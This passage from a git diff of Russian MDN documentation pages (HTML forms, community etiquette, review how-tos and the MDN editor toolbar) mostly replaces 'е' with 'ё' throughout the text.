          Заметьте: Если установлен атрибут {{htmlattrxref("multiple", "input")}}, то может быть введено несколько адресов электронной почты, разделённых запятой, но, в данный момент, такая возможность не реализована в Firefox.
        @@ -40,7 +40,7 @@ original_slug: Web/Guide/HTML/Формы_в_HTML
      7. {{htmlattrxref("pattern", "input")}}: Регулярное выражение, по которому поверяются вводимые данные. Может использоваться в элементе {{htmlattrxref("type", "input")}} со значениями text, tel, search, url, и email.
      8. {{htmlattrxref("form", "input")}}: Строка, указывающая, к какому элементу {{HTMLElement("form")}} принадлежит элемент. Элемент может быть частью только одной формы.
      9. {{htmlattrxref("formmethod", "input")}}: Строка, указывающая метод передачи данных  (GET or POST), когда форма отправляется на сервер. Он перекрывает значение атрибута {{htmlattrxref("method", "form")}} элемента {{HTMLElement("form")}}, если установлен. Работает только, если {{htmlattrxref("type", "input")}} является image или submit, и если установлен атрибут {{htmlattrxref("form", "input")}}.
        10. -
      10. {{htmlattrxref("x-moz-errormessage", "input")}} {{non-standard_inline}}: Строка, указывающая на сообщение об ошибке, которое будет показано, если это поле не пройдет валидацию. Этот атрибут - расширение Mozilla и не является стандартом.
        11. +
      11. {{htmlattrxref("x-moz-errormessage", "input")}} {{non-standard_inline}}: Строка, указывающая на сообщение об ошибке, которое будет показано, если это поле не пройдёт валидацию. Этот атрибут - расширение Mozilla и не является стандартом.

        12. Текстовое поле

        @@ -48,7 +48,7 @@ original_slug: Web/Guide/HTML/Формы_в_HTML

        <input> с атрибутом type="text" определяет однострочное поле для ввода.

        <form>
-  Введите свое имя: <input type="text" name="name">
+  Введите своё имя: <input type="text" name="name">
 </form>

        Флажок

        @@ -85,7 +85,7 @@ original_slug: Web/Guide/HTML/Формы_в_HTML

        Элемент {{HTMLElement("output")}} представляет собой результат каких-либо вычислений.

        -

        Вы можете использовать атрибут {{htmlattrxref("for", "output")}} для указания связи между элементом {{HTMLElement("output")}} и другими элементами в документе, которые повлияли на расчет (к примеру, поля для ввода параметров). Значением атрибута {{htmlattrxref("for", "output")}} является список ID других элементов, разделенный пробелами.

        +

        Вы можете использовать атрибут {{htmlattrxref("for", "output")}} для указания связи между элементом {{HTMLElement("output")}} и другими элементами в документе, которые повлияли на расчёт (к примеру, поля для ввода параметров). Значением атрибута {{htmlattrxref("for", "output")}} является список ID других элементов, разделённый пробелами.

        {{non-standard_inline}} Gecko 2.0 (but not necessarily other browser engines) supports defining custom validity constraints and error messages for {{HTMLElement("output")}} elements, and therefore applies the {{Cssxref(":invalid")}}, {{Cssxref(":valid")}}, {{Cssxref(":-moz-ui-invalid")}}, and {{Cssxref(":-moz-ui-valid")}} CSS pseudo-classes to them. This can be helpful in situations where the calculated result violates a business rule, but no specific input value does (for example, "The total of percentages must not exceed 100").

        diff --git a/files/ru/orphaned/mdn/community/conversations/index.html b/files/ru/orphaned/mdn/community/conversations/index.html index c0c6683b69..2c24e68139 100644 --- a/files/ru/orphaned/mdn/community/conversations/index.html +++ b/files/ru/orphaned/mdn/community/conversations/index.html @@ -45,7 +45,7 @@ original_slug: MDN/Сообщество/Conversations

        What about IRC?

        -

        В течение многих лет Mozilla использовала Internet Relay Chat (IRC) для обсуждения в реальном времени. С начала 2020 года IRC устарел и заменен Matrix. Вы можете встретить ссылки на IRC-каналы во многих местах, в том числе на MDN. Вы можете помочь, обновив ссылки на IRC-каналы, которые вы найдете на MDN, чтобы они указывали на соответствующие комнаты Matrix. Если вы не уверены, что представляет собой комната Matrix по теме, спросите в общей комнате. У проектов или тем, которые больше не активны, может не быть комнаты Matrix; в таких случаях просто удалите ссылку.

        +

        В течение многих лет Mozilla использовала Internet Relay Chat (IRC) для обсуждения в реальном времени. С начала 2020 года IRC устарел и заменён Matrix. Вы можете встретить ссылки на IRC-каналы во многих местах, в том числе на MDN. Вы можете помочь, обновив ссылки на IRC-каналы, которые вы найдёте на MDN, чтобы они указывали на соответствующие комнаты Matrix. Если вы не уверены, что представляет собой комната Matrix по теме, спросите в общей комнате. У проектов или тем, которые больше не активны, может не быть комнаты Matrix; в таких случаях просто удалите ссылку.

        Присоединяйся к нашим встречам (и другим событиям)

        diff --git a/files/ru/orphaned/mdn/community/index.html b/files/ru/orphaned/mdn/community/index.html index cbbdbc999b..a99668fa42 100644 --- a/files/ru/orphaned/mdn/community/index.html +++ b/files/ru/orphaned/mdn/community/index.html @@ -16,7 +16,7 @@ original_slug: MDN/Сообщество

        MDN (аббревиатура Mozilla Developer Network) - это больше чем wiki: это сообщество разработчиков работающих вместе, чтобы сделать MDN лучшим ресурсом для разработчиков, которые используют открытые Веб-технологии.

      -

      Мы хотели бы, чтобы вы внесли свой вклад в MDN, но еще больше мы бы хотели, чтобы вы участвовали в сообществе MDN. Вот как присоединиться, за три простых шага:

      +

      Мы хотели бы, чтобы вы внесли свой вклад в MDN, но ещё больше мы бы хотели, чтобы вы участвовали в сообществе MDN. Вот как присоединиться, за три простых шага:

      1. Создайте MDN аккаунт.
        2. diff --git a/files/ru/orphaned/mdn/community/whats_happening/index.html b/files/ru/orphaned/mdn/community/whats_happening/index.html index 1230622cdd..ee3f6b3917 100644 --- a/files/ru/orphaned/mdn/community/whats_happening/index.html +++ b/files/ru/orphaned/mdn/community/whats_happening/index.html @@ -12,7 +12,7 @@ original_slug: MDN/Сообщество/Whats_happening
        Mozilla Hacks
        -
        Новости и углубленное освещение Веб-технологий и особенностей Mozilla.
        +
        Новости и углублённое освещение Веб-технологий и особенностей Mozilla.
        Engaging Developers
        Повышение активности и обсуждения среди сообщества, участвующих в MDN в Mozilla.
        diff --git a/files/ru/orphaned/mdn/community/working_in_community/index.html b/files/ru/orphaned/mdn/community/working_in_community/index.html index 9fd9e70f83..0b2a4ff95d 100644 --- a/files/ru/orphaned/mdn/community/working_in_community/index.html +++ b/files/ru/orphaned/mdn/community/working_in_community/index.html @@ -24,7 +24,7 @@ original_slug: MDN/Сообщество/Working_in_community
      2. Найдите баланс между потребностью в необходимой информации и временем, которое другие люди в вашей дискуссии должны посвятить на то, чтобы вам помочь. Не настаивайте на все большем количестве деталей, если в этом прямо сейчас нет необходимости, так как это может вывести других людей из себя.
      3. Имейте в виду, что ваш запрос отнимает ценное время у людей, с которыми вы контактируете, поэтому убедитесь, что вы используете их время с умом.
      4. Будьте внимательны к культурным различиям. Mozilla — международная и многокультурная команда, поэтому при общении с человеком, чья культура возможно отличается от вашей, постарайтесь иметь это в виду.
        5. -
      5. Начинайте новый диалог вместо захвата уже существующего. Не задавайте вопросы, которые не относятся к диалогу, только потому что нужные вам люди обращают на этот диалог внимание. Хотя это удобно вам, это может раздражать людей, с которыми вы хотите поговорить и приведет к итогу, далекому от идеального.
        6. +
      6. Начинайте новый диалог вместо захвата уже существующего. Не задавайте вопросы, которые не относятся к диалогу, только потому что нужные вам люди обращают на этот диалог внимание. Хотя это удобно вам, это может раздражать людей, с которыми вы хотите поговорить и приведёт к итогу, далёкому от идеального.
      7. Избегайте {{interwiki("wikipedia", "Закона тривиальности")}}. Не позволяйте вашему энтузиазму превратиться в раздражительный педантизм. Это делает диалог утомительным и расфокусированным.
        8. @@ -34,16 +34,16 @@ original_slug: MDN/Сообщество/Working_in_community

        Вежливо указывайте на ошибки

        -

        Если ваша цель в контакте с кем-то - попросить их сделать что-то по-другому или указать на ошибку, которую они совершили (особенно если они повторяют это постоянно), начните свое сообщение с положительного комментария. Это смягчает удар, так сказать, демонстрирует, что вы пытаетесь быть полезным и не позиционирует вас как невоспитанного человека.

        +

        Если ваша цель в контакте с кем-то - попросить их сделать что-то по-другому или указать на ошибку, которую они совершили (особенно если они повторяют это постоянно), начните своё сообщение с положительного комментария. Это смягчает удар, так сказать, демонстрирует, что вы пытаетесь быть полезным и не позиционирует вас как невоспитанного человека.

        -

        Например, если новый участник создает много страниц без тегов и вы хотели бы указать на эту проблему, тогда ваше сообщение для него могло бы выглядеть так (то, что вам нужно изменить для конкретного случая, подчеркивается):

        +

        Например, если новый участник создаёт много страниц без тегов и вы хотели бы указать на эту проблему, тогда ваше сообщение для него могло бы выглядеть так (то, что вам нужно изменить для конкретного случая, подчёркивается):

        -

        Привет, MrBigglesworth, я заметил Ваш вклад в документацию API Wormhole, Ваша помощь неоценима! Мне особенно нравится, как Вы сбалансировали свой уровень детализации с удобочитаемостью. Тем не менее, Вы могли бы сделать эти статьи еще лучше и полезнее, если бы в дальнейшем добавили правильные теги к страницам.

        +

        Привет, MrBigglesworth, я заметил Ваш вклад в документацию API Wormhole, Ваша помощь неоценима! Мне особенно нравится, как Вы сбалансировали свой уровень детализации с удобочитаемостью. Тем не менее, Вы могли бы сделать эти статьи ещё лучше и полезнее, если бы в дальнейшем добавили правильные теги к страницам.

        Подробные сведения смотри в руководстве по тегам MDN (https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag).

        -

        Еще раз спасибо, я надеюсь на Ваше сотрудничество в будущем!

        +

        Ещё раз спасибо, я надеюсь на Ваше сотрудничество в будущем!

        Обмен знаниями

        @@ -72,11 +72,11 @@ original_slug: MDN/Сообщество/Working_in_community
        Панель управления ревизиями
        -
        Панель управления ревизиями документов предоставляет очень удобный инструмент для обзора изменений, внесенных в контент MDN. Вы можете видеть историю последних изменений, выбрать временной диапазон для просмотра. Вы можете использовать фильтр по языку, имени разработчика, теме и другим атрибутам. Просматривая список ревизий документов, вы можете просмотреть изменения, внесенные в каждую ревизию, быстро открыть страницу, просмотреть полную историю или даже отменить изменения (если у вас есть необходимые привилегии).
        +
        Панель управления ревизиями документов предоставляет очень удобный инструмент для обзора изменений, внесённых в контент MDN. Вы можете видеть историю последних изменений, выбрать временной диапазон для просмотра. Вы можете использовать фильтр по языку, имени разработчика, теме и другим атрибутам. Просматривая список ревизий документов, вы можете просмотреть изменения, внесённые в каждую ревизию, быстро открыть страницу, просмотреть полную историю или даже отменить изменения (если у вас есть необходимые привилегии).
        Обзор статуса документации
        -
        Страница обзора статуса документации содержит список всех областей MDN, которые были сконфигурированы для отслеживания статуса. Она содержит информацию о том, сколько страниц нуждаются в различных доработках. Выбрав конкретную тему, вы можете просмотреть подробные списки документов, которые необходимо доработать. Это могут быть страницы, которые не имеют тегов, или помечены индикаторами "необходимо выполнить определенные виды работ". Вы можете даже просмотреть списки страниц, которые не обновлялись в течение длительного времени и могут быть устаревшими, а также список ошибок, которые были отмечены как влияющие на документацию в этой области.
        +
        Страница обзора статуса документации содержит список всех областей MDN, которые были сконфигурированы для отслеживания статуса. Она содержит информацию о том, сколько страниц нуждаются в различных доработках. Выбрав конкретную тему, вы можете просмотреть подробные списки документов, которые необходимо доработать. Это могут быть страницы, которые не имеют тегов, или помечены индикаторами "необходимо выполнить определённые виды работ". Вы можете даже просмотреть списки страниц, которые не обновлялись в течение длительного времени и могут быть устаревшими, а также список ошибок, которые были отмечены как влияющие на документацию в этой области.
        Планы проектов документации
        -
        Для некоторых проектов созданы планы документации, которые помогают отслеживать то, что еще необходимо сделать. К таким проектам относятся проекты на стадии планирования или большие, постоянные проекты.
        +
        Для некоторых проектов созданы планы документации, которые помогают отслеживать то, что ещё необходимо сделать. К таким проектам относятся проекты на стадии планирования или большие, постоянные проекты.
        MDN Taiga
        Штатные сотрудники MDN используют инструмент под названием Taiga для управления текущими и будущими проектами документации. Вы также можете посмотреть чем мы занимаемся и какие проекты планируются в ближайшем будущем. Некоторые из них будут взяты на себя штатными сотрудниками, но вы также можете взяться за них, если захотите! Для получения дополнительной информации о живых технологических процессах, сопровождаемых командой MDN, смотрите нашу Страницу технологических процессов на Mozilla wiki.
        @@ -97,7 +97,7 @@ original_slug: MDN/Сообщество/Working_in_community

        Наиболее вероятным местом, где вы могли бы напрямую пересечься с другими писателями является IRC канал {{IRCLink("mdn")}}. Этот канал зарезервирован специально для дискуссий о документации. По поводу особенностей IRC этикета смотрите статью из Mozilla Support "Getting Started with IRC". Вы можете дискутировать с нами также на Дискуссионном форуме MDN. Уместно заметить, что IRC, как правило, используют для быстрых, более личных бесед, а дискуссионный форум обычно используют для продолжительных бесед.

        -

        Имея ввиду {{anch("Общее руководство по этикету")}}, вы увидите, что все идет обычно очень гладко.

        +

        Имея ввиду {{anch("Общее руководство по этикету")}}, вы увидите, что все идёт обычно очень гладко.

        Смотри также

        diff --git a/files/ru/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html b/files/ru/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html index c2bbde2e7a..60cc6f7531 100644 --- a/files/ru/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html +++ b/files/ru/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html @@ -28,8 +28,8 @@ original_slug: MDN/Contribute/Howto/Create_an_MDN_account
        1. В верхней части каждой страницы MDN есть кнопка с надписью Войти. Наведите курсор мыши на неё (или нажмите на неё, если вы на мобильном устройстве), чтобы отобразить список сервисов, которые мы поддерживаем для регистрации в MDN.
        2. Выберите аккаунт для того, чтобы Войти в систему. Сейчас доступны GitHub и Google. Обратите внимание, что если вы выберете GitHub, то ссылка на ваш GitHub-профиль будет отображаться на публичной странице вашего профиля MDN.
          3. -
        3. Следуйте инструкциям, чтобы подключить выбранную учетную запись к MDN (например, форма для входа через GitHub будет выглядеть как на картинке ниже).
          4. -
        4. После того, как служба аутентификации вернет вас на сайт MDN, вам будет предложено ввести имя пользователя MDN и адрес электронной почты. Ваше имя пользователя будет отображаться публично, чтобы при вкладе в развитие сообщества было видно ваше авторство. Не используйте свой адрес электронной почты в качестве имени пользователя.
          5. +
        5. Следуйте инструкциям, чтобы подключить выбранную учётную запись к MDN (например, форма для входа через GitHub будет выглядеть как на картинке ниже).
          6. +
        6. После того, как служба аутентификации вернёт вас на сайт MDN, вам будет предложено ввести имя пользователя MDN и адрес электронной почты. Ваше имя пользователя будет отображаться публично, чтобы при вкладе в развитие сообщества было видно ваше авторство. Не используйте свой адрес электронной почты в качестве имени пользователя.
        7. Нажмите Создать мой профиль MDN.
        8. Если адрес электронной почты, указанный в шаге 4, не то же самый, который вы используете на выбранном для аутентификации сервисе, то проверьте свою электронную почту и нажмите на ссылку в письме с подтверждением, которое мы выслали вам.
        diff --git a/files/ru/orphaned/mdn/contribute/howto/do_a_technical_review/index.html b/files/ru/orphaned/mdn/contribute/howto/do_a_technical_review/index.html index 8c5a6e29a5..de9763f692 100644 --- a/files/ru/orphaned/mdn/contribute/howto/do_a_technical_review/index.html +++ b/files/ru/orphaned/mdn/contribute/howto/do_a_technical_review/index.html @@ -41,7 +41,7 @@ original_slug: MDN/Contribute/Howto/Do_a_technical_review
      8. Прочитайте статью, обращая пристально внимание на технические детали: Верна ли статья? Чего-то не хватает? Не стесняйтесь переключаться на другую статью, если выбранная не устраивает Вас.
      9. Если ошибок нет, то Вам не нужно редактировать статью, чтобы отметить её как просмотренную. Посмотрите на окно "быстрого обзора" в левой боковой панели страницы:

        - Выберите флажок Технический и нажмите Обзор завершен.
        10. + Выберите флажок Технический и нажмите Обзор завершён.
      10. Если Вы нашли ошибки, которые нужно исправить:
        1. Нажмите кнопку Редактировать в верхней части страницы; она переместит Вас в редактор MDN.
          2. diff --git a/files/ru/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html b/files/ru/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html index 3556bb253c..1a29be1318 100644 --- a/files/ru/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html +++ b/files/ru/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html @@ -34,7 +34,7 @@ original_slug: MDN/Contribute/Howto/Do_an_editorial_review
        2. Прочитайте статью, обращая пристальное внимание на опечатки и орфографические, грамматические или оборотные ошибки. Не стесняйтесь переключаться на другую статью, если выбранная не устраивает Вас.
        3. Если ошибок нет, то Вам не нужно редактировать статью, чтобы отметить её как прошедшую корректуру. Посмотрите на окно "быстрого обзора" в левой боковой панели страницы:

          - Выберите флажок Редакционный и нажмите Обзор завершен.
          4. + Выберите флажок Редакционный и нажмите Обзор завершён.
        4. Если Вы нашли ошибки, которые нужно исправить:
          1. Нажмите кнопку Редактировать в верхней части страницы; она переместит Вас в редактор MDN.
            2. diff --git a/files/ru/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/ru/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html index ab6d1a6292..edcba6158f 100644 --- a/files/ru/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html +++ b/files/ru/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html @@ -12,7 +12,7 @@ original_slug: MDN/Contribute/Howto/Как_оптимизировать_стра
            Что необходимо сделать?
            Выделить ключевые слова и написать оптимизированную (SEO) статью .
            Где это нужно сделать?
            -
            На любых страницах, которые еще не оптимизированы, либо на страницах, которые не достаточно хорошо оптимизированы.
            +
            На любых страницах, которые ещё не оптимизированы, либо на страницах, которые не достаточно хорошо оптимизированы.
            Необходимые знания и навыки для выполнения этого задания?
            Навыки использования MDN редактора; владение Английским языком на уровне - native; умение писать SEO-статьи.
            Что необходимо для этого сделать?
            diff --git a/files/ru/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html b/files/ru/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html index 81daf4193d..0145e2d7d6 100644 --- a/files/ru/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html +++ b/files/ru/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html @@ -13,7 +13,7 @@ original_slug: MDN/Contribute/Howto/Метки_JavaScript_страниц
            Где это нужно сделать?
            -
            Внутри определенных JavaScript-страниц без тегов
            +
            Внутри определённых JavaScript-страниц без тегов
            Что вам нужно знать, чтобы выполнить эту задачу?
            Базовые знания JavaScript, например, знание метода или свойства.
            Каковы шаги для этого?
            @@ -21,7 +21,7 @@ original_slug: MDN/Contribute/Howto/Метки_JavaScript_страниц
            1. Выберите одну из страниц в списке, указанном выше.
            2. Нажмите ссылку на статью, чтобы загрузить страницу.
              3. -
            3. После загрузки страницы, нажмите кнопку EDIT рядом с нее названием; это перенесет вас в редактор MDN.
              4. +
            4. После загрузки страницы, нажмите кнопку EDIT рядом с неё названием; это перенесёт вас в редактор MDN.
            5. Как минимум тег JavaScript нужно добавить. Так же здесь список возможных тегов для добавления: diff --git a/files/ru/orphaned/mdn/editor/basics/index.html b/files/ru/orphaned/mdn/editor/basics/index.html index cd27a591b8..77db90898e 100644 --- a/files/ru/orphaned/mdn/editor/basics/index.html +++ b/files/ru/orphaned/mdn/editor/basics/index.html @@ -25,27 +25,27 @@ original_slug: MDN/Editor/Basics
            6. Теги
            7. {{anch("Примечание")}}
            8. {{anch("Запрос проверки")}}
              9. -
            9. Прикрепленные файлы
              10. +
            10. Прикреплённые файлы

              11. Поле редактирования

              Поле редактирования - это, конечно же. место где вы вводите текст.

              -

              Нажатие правой кнопки мыши (ПКМ) в поле редактирования показывает дополнительные опции, в зависимости от контекста. Нажатие ПКМ на таблице, например, предлагает опции для работы с таблицами, а на списке, соответственно, опции для работы со списками. По умолчанию редактор использует свое собственное контекстное меню в поле редактирования. Чтобы открыть стандартное браузерное контекстное меню, при нажатии ПКМ зажмите Shift или Control (Command на Mac OS X).

              +

              Нажатие правой кнопки мыши (ПКМ) в поле редактирования показывает дополнительные опции, в зависимости от контекста. Нажатие ПКМ на таблице, например, предлагает опции для работы с таблицами, а на списке, соответственно, опции для работы со списками. По умолчанию редактор использует своё собственное контекстное меню в поле редактирования. Чтобы открыть стандартное браузерное контекстное меню, при нажатии ПКМ зажмите Shift или Control (Command на Mac OS X).

              Во время работы в окне редактирования вы можете использовать специальные сочетания клавиш.

              Примечание

              -

              После того как вы закончили свою работу, настоятельно рекомендуется добавлять к своим изменениям примечание. Оно будет показано в истории изменений к этой странице, а также в обзорной панели изменений (Revision Dashboard). Это поможет объяснить и донести смысл ваших изменений до тех, кто может просматривать их позже. Чтобы добавить свое примечание, просто заполните это поле перед нажатием на кнопку Сохранить/Опубликовать.

              +

              После того как вы закончили свою работу, настоятельно рекомендуется добавлять к своим изменениям примечание. Оно будет показано в истории изменений к этой странице, а также в обзорной панели изменений (Revision Dashboard). Это поможет объяснить и донести смысл ваших изменений до тех, кто может просматривать их позже. Чтобы добавить своё примечание, просто заполните это поле перед нажатием на кнопку Сохранить/Опубликовать.

              Вот несколько причин почему это полезно:

              • Если причина ваших изменений не очевидна, ваш комментарий поможет её донести до других.
              • Если ваши правки технически сложные, примечание поможет в них разобраться. Оно может содержать номер ошибки, например, к которой редакторы смогут обратиться для более подробной информации.
                • -
              • Если ваши изменения содержат в себе удаление большого количества контента, вы можете объяснить свое решение (например: "Я переместил этот текст в статью N").
                • +
              • Если ваши изменения содержат в себе удаление большого количества контента, вы можете объяснить своё решение (например: "Я переместил этот текст в статью N").

              Запрос проверки

              diff --git a/files/ru/orphaned/mdn/editor/basics/page_controls/index.html b/files/ru/orphaned/mdn/editor/basics/page_controls/index.html index e8fbdf1e6f..a9fced467d 100644 --- a/files/ru/orphaned/mdn/editor/basics/page_controls/index.html +++ b/files/ru/orphaned/mdn/editor/basics/page_controls/index.html @@ -25,7 +25,7 @@ original_slug: MDN/Editor/Basics/Page_controls
              Эта кнопка открывает новую вкладку или окно, в котором показано как будут выглядеть ваши изменения после публикации. Это подразумевает, что все ваши макросы и шаблоны будут показаны как уже обработанные. Обратите внимание, что ваша работа не будет сохранена при использовании этой опции. Эта возможность позволяет вам проверить, до того как вы сделали свои изменения публичными, не допустили ли вы ошибок в своих шаблонах, макросах, или при оформлении текста. Если вы столкнулись с ошибками выполнения скриптов, смотрите Troubleshooting scripting error while previewing a page.
              -

              Внимание: В настоящее время некоторые шаблоны и макросы не выполняются корректно при предварительном просмотре, оставляя страницу без части контента (таких как боковые меню), и, следовательно, частично искажая страницу. Кроме того, если SCAYT включен (и если страница содержит определенные рабочие макросы или шаблоны), режим предварительного просмотра может выдавать ошибку выполнения скриптов.

              +

              Внимание: В настоящее время некоторые шаблоны и макросы не выполняются корректно при предварительном просмотре, оставляя страницу без части контента (таких как боковые меню), и, следовательно, частично искажая страницу. Кроме того, если SCAYT включён (и если страница содержит определённые рабочие макросы или шаблоны), режим предварительного просмотра может выдавать ошибку выполнения скриптов.

              Отменить
              diff --git a/files/ru/orphaned/mdn/editor/basics/toolbar/index.html b/files/ru/orphaned/mdn/editor/basics/toolbar/index.html index 29262d112b..237dd51494 100644 --- a/files/ru/orphaned/mdn/editor/basics/toolbar/index.html +++ b/files/ru/orphaned/mdn/editor/basics/toolbar/index.html @@ -65,14 +65,14 @@ original_slug: MDN/Editor/Basics/Toolbar
              Undo
              Отменить последнее изменение.
              Redo
              -
              Применить последнее отмененное изменение.
              +
              Применить последнее отменённое изменение.

              Работа с текстом

              Find / Найти
              -
              Открывает диалоговое окно Find and Replace в режиме "Find", который позволяет найти в вашем документе определенную строку.
              +
              Открывает диалоговое окно Find and Replace в режиме "Find", который позволяет найти в вашем документе определённую строку.
              Replace / Заменить
              Открывает диалоговое окно Find and Replace в режиме "Replace", с помощью которого можно найти нужную строку и заменить на новую.
              @@ -86,13 +86,13 @@ original_slug: MDN/Editor/Basics/Toolbar
              Enable SCAYT/Disable SCAYT
              Включает или отключает Spell Check As You Type (SCAYT)
              Options
              -
              Если SCAYT включен, этот пункт открывает диалоговое окно SCAYT во вкладке с опциями для настройки SCAYT.
              +
              Если SCAYT включён, этот пункт открывает диалоговое окно SCAYT во вкладке с опциями для настройки SCAYT.
              Languages
              -
              Если SCAYT включен, этот пункт открывает диалоговое окно SCAYT во вкладке "Languages", где вы можете выбрать язык для проверки правописания.
              +
              Если SCAYT включён, этот пункт открывает диалоговое окно SCAYT во вкладке "Languages", где вы можете выбрать язык для проверки правописания.
              Dictionaries
              -
              Если SCAYT включен, этот пункт открывает диалоговое окно SCAYT во вкладке "Dictionaries", где вы можете сами выбрать словарь, который SCAYT будет использовать.
              +
              Если SCAYT включён, этот пункт открывает диалоговое окно SCAYT во вкладке "Dictionaries", где вы можете сами выбрать словарь, который SCAYT будет использовать.
              About SCAYT
              -
              Если SCAYT включен, этот пункт открывает диалоговое окно SCAYT во вкладке "About", в которой написано о SCAYT.
              +
              Если SCAYT включён, этот пункт открывает диалоговое окно SCAYT во вкладке "About", в которой написано о SCAYT.
              Check Spelling
              Этот пункт открывает диалоговое окно Spell Checker, в котором вы можете проверить правописание в пакетном режиме (batch mode) для всего документа. Вы можете воспользоваться вкладкой Grammar для проверки грамматических ошибок, или воспользоваться вкладкой Thesaurus для поиска синонимов для слов в документе.
              @@ -112,25 +112,25 @@ original_slug: MDN/Editor/Basics/Toolbar

              Строковые стили

              -

              Строковые стили содержат распространенные стили, которые могут вам пригодиться при оформлении текста.

              +

              Строковые стили содержат распространённые стили, которые могут вам пригодиться при оформлении текста.

              Bold
              Переключает жирный стиль текста, создавая при этом в разметке элемент {{htmlelement("strong")}}.
              Italic
              -
              Переключает курсив. Создает {{htmlelement("em")}} элемент.
              +
              Переключает курсив. Создаёт {{htmlelement("em")}} элемент.
              Underline
              -
              Переключает нижнее подчеркивание. Создает {{htmlelement("u")}} элемент.
              +
              Переключает нижнее подчёркивание. Создаёт {{htmlelement("u")}} элемент.
              Strike through
              -
              Переключает перечеркивание. Создает {{htmlelement("s")}} элемент.
              +
              Переключает перечёркивание. Создаёт {{htmlelement("s")}} элемент.
              Subscript
              -
              Переключает нижний индекс. Создает {{htmlelement("sub")}} элемент.
              +
              Переключает нижний индекс. Создаёт {{htmlelement("sub")}} элемент.
              Superscript
              -
              Переключает верхний индекс. Создает {{htmlelement("sup")}} элемент. Заметьте, что такой строковый стиль не используется на MDN, так что вам вряд ли когда-нибудь пригодится эта кнопка.
              +
              Переключает верхний индекс. Создаёт {{htmlelement("sup")}} элемент. Заметьте, что такой строковый стиль не используется на MDN, так что вам вряд ли когда-нибудь пригодится эта кнопка.
              Remove format
              Удаляет текущий строковый стиль в выделенном тексте.
              Code
              -
              Переключает стиль для кода. Создает {{htmlelement("code")}} элемент. Это используется для представления в тексте имен переменных, функций, объектов, файлов и т.п.
              +
              Переключает стиль для кода. Создаёт {{htmlelement("code")}} элемент. Это используется для представления в тексте имён переменных, функций, объектов, файлов и т.п.

              Работа со ссылками

              @@ -139,11 +139,11 @@ original_slug: MDN/Editor/Basics/Toolbar
              Link
              -
              Создает новую ссылку. При нажатии вызывается окно создания ссылки, работа с которым подробна описана в Ссылки с помощью панели инструментов.
              +
              Создаёт новую ссылку. При нажатии вызывается окно создания ссылки, работа с которым подробна описана в Ссылки с помощью панели инструментов.
              Unlink
              Удаляет ссылку в месте, где расположен курсор.
              Anchor
              -
              Создает якорь в месте, где расположен курсор. Заметьте, что вам не нужно создавать якорь для заголовков, редактор автоматически создает {{htmlattrxref("id")}} для каждого заголовка, заменяя пробелы в названии на нижние подчеркивания. Например, заголовок этой секции имеет id, значение которого Работа_со_ссылками.
              +
              Создаёт якорь в месте, где расположен курсор. Заметьте, что вам не нужно создавать якорь для заголовков, редактор автоматически создаёт {{htmlattrxref("id")}} для каждого заголовка, заменяя пробелы в названии на нижние подчёркивания. Например, заголовок этой секции имеет id, значение которого Работа_со_ссылками.
              Create a redirect
              Встраивает переадресацию на другую страницу. Смотрите Создание переадресаций для подробной информации.
              @@ -158,7 +158,7 @@ original_slug: MDN/Editor/Basics/Toolbar
              None
              Удаляет стиль с выбранного блока.
              Note box
              -
              Создает блок с примечание, как показано ниже. Вы должны всегда начинать примечание со слова "Примечание:" жирными буквами.
              +
              Создаёт блок с примечание, как показано ниже. Вы должны всегда начинать примечание со слова "Примечание:" жирными буквами.
              @@ -167,7 +167,7 @@ original_slug: MDN/Editor/Basics/Toolbar
              Warning box
              -
              Создает блок с предупреждением, как показано ниже. Блок должен всегда начинаться со слова "Внимание:" жирными буквами.
              +
              Создаёт блок с предупреждением, как показано ниже. Блок должен всегда начинаться со слова "Внимание:" жирными буквами.
              @@ -178,14 +178,14 @@ original_slug: MDN/Editor/Basics/Toolbar
              Two columns
              Делает выделенный текст или блок двухколоночным на браузерах, которые это поддерживают.
              Three columns
              -
              Делает выделенный текст или блок трехколоночным на браузерах, которые это поддерживают.
              +
              Делает выделенный текст или блок трёхколоночным на браузерах, которые это поддерживают.
              Syntax box
              -
              Создает поле для синтаксиса, как показано ниже. Это создает {{htmlelement("pre")}}. Вы можете также использовать кнопку "PRE".
              +
              Создаёт поле для синтаксиса, как показано ниже. Это создаёт {{htmlelement("pre")}}. Вы можете также использовать кнопку "PRE".
              Это поле для синтаксиса
              Hidden when reading
              -
              Создает блок, который видно только в режиме редактирования. Это не то же, что и HTML-комментарий, который виден только в режиме разметки.
              +
              Создаёт блок, который видно только в режиме редактирования. Это не то же, что и HTML-комментарий, который виден только в режиме разметки.

              Строковые стили

              @@ -220,15 +220,15 @@ original_slug: MDN/Editor/Basics/Toolbar
              Insert/remove numbered list
              -
              Создает или удаляет нумерованный список. Когда вы работаете над списком, при каждом нажатии Enter будет создаваться новый элемент списка. Клавиша Tab может быть использована для увеличения вложенности, а Shift + Tab, соответственно, для уменьшения. При нажатии на Enter в пустом элементе список будет закончен. Нажатие ПКМ на списке открывает контекстное меню с опцией Numbered list properties, в которой можно выбрать стиль маркера.
              +
              Создаёт или удаляет нумерованный список. Когда вы работаете над списком, при каждом нажатии Enter будет создаваться новый элемент списка. Клавиша Tab может быть использована для увеличения вложенности, а Shift + Tab, соответственно, для уменьшения. При нажатии на Enter в пустом элементе список будет закончен. Нажатие ПКМ на списке открывает контекстное меню с опцией Numbered list properties, в которой можно выбрать стиль маркера.
              Insert/remove bulleted list
              -
